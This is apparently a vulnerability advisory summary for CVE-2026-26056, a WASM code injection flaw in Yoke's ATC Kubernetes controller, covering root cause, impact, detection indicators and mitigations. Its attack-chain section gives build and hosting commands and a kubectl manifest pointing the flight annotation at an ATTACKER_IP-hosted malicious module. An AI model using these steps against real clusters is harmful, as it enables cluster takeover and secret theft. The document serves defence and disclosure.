CVE-2026-26056: 
Homebrew vulnerability analysis and mitigation

CVE-2026-26056 is a code injection vulnerability (CWE-94) in the Air Traffic Controller (ATC) component of Yoke, a Kubernetes deployment tool, that allows authenticated users with Custom Resource (CR) create/update permissions to execute arbitrary WebAssembly (WASM) code. The vulnerability was published on February 12, 2026, and affects all Yoke versions through 0.19.0. It carries a CVSS v3.1 base score of 8.8 (High) (GitHub Advisory, Yoke Security Advisory).

The root cause is improper validation of the overrides.yoke.cd/flight annotation on Custom Resources managed by Yoke ATC (CWE-94). When a CR is created or updated, the ATC controller reads this annotation and uses the provided URL directly as the WASM module path — both in the admission webhook (cmd/atc/handler.go:298-300) and the reconciler (internal/atc/reconciler_instance.go:264-269) — without validating the URL source or restricting it to trusted registries. The permission check at cmd/atc/handler.go:160-177 only verifies that the user has update permission on airways resources, not whether they are authorized to supply arbitrary WASM execution paths. An attacker with CR create/update permissions can inject a URL pointing to attacker-controlled WASM, which the controller then downloads and executes in its own context (GitHub Advisory).

Successful exploitation grants the attacker code execution within the ATC controller context, which typically runs with cluster-admin privileges. The attacker can create or modify arbitrary Kubernetes resources (high integrity impact), exfiltrate sensitive data including cluster secrets if ClusterAccess is enabled (high confidentiality impact), and disrupt cluster operations by deploying malicious resources (medium availability impact). In environments where the ATC has cluster-admin binding, a compromised controller can be leveraged for full cluster takeover and lateral movement across all namespaces (GitHub Advisory, Yoke Security Advisory).

A proof-of-concept exploit is publicly available in the GitHub security advisory, including full environment setup instructions and a working malicious WASM module. There is no current evidence of in-the-wild exploitation. The EPSS score is 0.039% (low probability of near-term exploitation), and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires low privileges (CR create/update permissions) and no user interaction (GitHub Advisory, Yoke Security Advisory).

1. Reconnaissance: Identify a Kubernetes cluster running Yoke ATC version ≤ 0.19.0 and confirm that the attacker account has create or update permissions on Custom Resources managed by ATC (e.g., Backend CRs).
2. Craft malicious WASM module: Write a Go program targeting GOOS=wasip1 GOARCH=wasm that outputs arbitrary Kubernetes resource manifests (e.g., a ConfigMap exfiltrating secrets, a ClusterRoleBinding for privilege escalation). Compile it: GOOS=wasip1 GOARCH=wasm go build -o malicious.wasm ./malicious-wasm.go.
3. Host the WASM file: Serve the compiled WASM binary from an HTTP server accessible to the ATC controller: python3 -m http.server 8888.
4. Inject malicious annotation: Create or patch a Backend CR with the overrides.yoke.cd/flight annotation pointing to the attacker-controlled WASM URL:

kubectl apply -f - <<EOF
apiVersion: yoke.cd/v1alpha1
kind: Backend
metadata:
  name: malicious-backend
  annotations:
    overrides.yoke.cd/flight: "http://<ATTACKER_IP>:8888/malicious.wasm"
spec: {}
EOF

5. Trigger execution: The ATC controller reconciler or admission webhook processes the CR, downloads the attacker-supplied WASM URL without validation, and executes it in the controller context.
6. Achieve objective: The malicious WASM runs with the ATC controller's Kubernetes permissions (typically cluster-admin), creating backdoor resources, reading secrets, or establishing persistent access (GitHub Advisory, Yoke Security Advisory).

• Kubernetes Events/Logs: ATC controller logs containing "using override module" with an unexpected or external URL in the url field (logged as a warning in reconciler_instance.go).
• Kubernetes Resources: Unexpected Custom Resources (e.g., Backend CRs) with the annotation overrides.yoke.cd/flight set to an external or non-registry URL; newly created ConfigMaps, ClusterRoleBindings, or Secrets not associated with normal deployments.
• Network: Outbound HTTP/HTTPS requests from the ATC controller pod to external or unexpected IP addresses/domains for .wasm or .wasm.gz files; unusual egress traffic from the atc namespace.
• Process/Pod Behavior: Unexpected resource creation events attributed to the ATC service account (atc-atc) in Kubernetes audit logs; audit log entries showing create or patch operations on sensitive resources (Secrets, ClusterRoleBindings) by the ATC controller.
• File System (controller pod): Temporary WASM files downloaded to the controller pod's filesystem from non-standard sources (GitHub Advisory).

Upgrade Yoke ATC to a version beyond 0.19.0 once a patched release is available (the advisory notes no patched version was listed at time of publication — monitor the Yoke releases page for updates). As immediate workarounds: restrict CR create/update permissions to trusted personnel only using Kubernetes RBAC; implement network policies to block the ATC controller pod from making outbound connections to arbitrary external hosts; review and disable ClusterAccess if not required to limit the blast radius; and monitor for Backend CRs containing the overrides.yoke.cd/flight annotation with non-approved URLs (GitHub Advisory, Yoke Security Advisory).

The vulnerability was noted by TheHackerWire on Bluesky shortly after disclosure. INCIBE-CERT (Spain's national cybersecurity incident response center) published an early warning advisory. Red Hat also tracked the CVE in their security database. Coverage has been limited to automated vulnerability aggregators and security news feeds, with no major vendor statements or prominent researcher commentary beyond the original advisory author (davidmdm on GitHub) (Yoke Security Advisory).